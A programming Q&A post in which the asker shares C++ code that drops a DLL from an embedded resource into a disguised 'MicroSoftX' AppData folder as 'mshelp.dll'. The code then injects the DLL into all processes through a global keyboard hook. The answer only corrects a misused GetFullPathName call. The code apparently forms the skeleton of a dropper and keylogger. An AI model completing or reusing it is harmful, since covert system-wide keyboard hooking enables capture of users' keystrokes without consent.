GetFullPathName wont get DLL Path - c++

Question

I am trying to load a DLL from resource and use SetWindowsHook to inject DLL to all Process GetFullPathName doesnt Seem to Work in this case, Now i am asking what would I do to get the DLL Path in this case, My code looks like this. I am new to using This and hence i cannot seem to get the DLL Path
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include "resource.h"
void ExtractnRun()
{
char* name = getenv("USERNAME");
char info[1500];
char aNewFile[1500];
sprintf(info,"C:\\Users\\%s\\AppData\\Local\\MicroSoftX",name);
//_mkdir(info);
if (CreateDirectoryA(info, NULL))
{
MessageBoxA(NULL, "Directory Created", "", MB_OK);
}
// Extract From Resource
HRSRC hrsrc = FindResource(0, MAKEINTRESOURCE(IDR_DLL21),"DLL2");
DWORD size = SizeofResource(0, hrsrc);
PVOID buff = LockResource(LoadResource(0, hrsrc));
DWORD dwBytesToWrite = (DWORD)strlen((char*)buff);
DWORD dwBytesWritten = 0;
sprintf(aNewFile, "C:\\Users\\%s\\AppData\\Local\\MicroSoftX\\mshelp.dll", name);
HANDLE hFile = CreateFileA(aNewFile, GENERIC_WRITE, 0, NULL,CREATE_ALWAYS ,FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile)
{
MessageBoxA(NULL, "File Created!", "", MB_OK);
}
/*FILE* f = fopen(aNewFile, "wb");
fwrite(buff,1,size,f);
fclose(f);
*/
if (WriteFile(hFile, buff, size, &dwBytesWritten, NULL))
{
MessageBoxA(NULL, "Data Written to DLL", "", MB_OK);
}
/*STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
*/
char dll[MAX_PATH];
GetFullPathName((LPCSTR)hFile, MAX_PATH, dll, NULL); // Shows Error here Cannot get Full Path of DLL
printf("%s\n",dll);
HMODULE MYdll = LoadLibrary(dll);
if (MYdll == NULL)
{
printf("dll cannot be found!\n");
getchar();
printf("DLL : %s", MYdll);
}
HOOKPROC addr = (HOOKPROC)GetProcAddress(MYdll, "SayHelloWorld");
if (addr == NULL)
{
printf("Cannot find Address!\n");
getchar();
}
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, MYdll, 0);
if (handle == NULL)
{
printf("Hook Failed!\n");
getchar();
}
printf("Program Hooked!\n");
getchar();
UnhookWindowsHookEx(handle);
//printf("%s\n",dll);
system("PAUSE");
}
int main()
{
ExtractnRun();
return 0;
}
The Exception Error i get looks like this :
Exception thrown at 0x7764171A (ntdll.dll) in ResourceExample.exe:
0xC0000005: Access violation reading location 0x0000009C.
If there is a handler for this exception, the program may be safely
continued.
What am I not getting correctly?

Answer 1

You can not pass the file handler to the "GetFullPahtName". It should be file name to find full path.
GetFullPathName((LPCSTR)hFile, MAX_PATH, dll, NULL);
Please refer the below link for more details.
https://msdn.microsoft.com/en-us/library/windows/desktop/aa364963(v=vs.85).aspx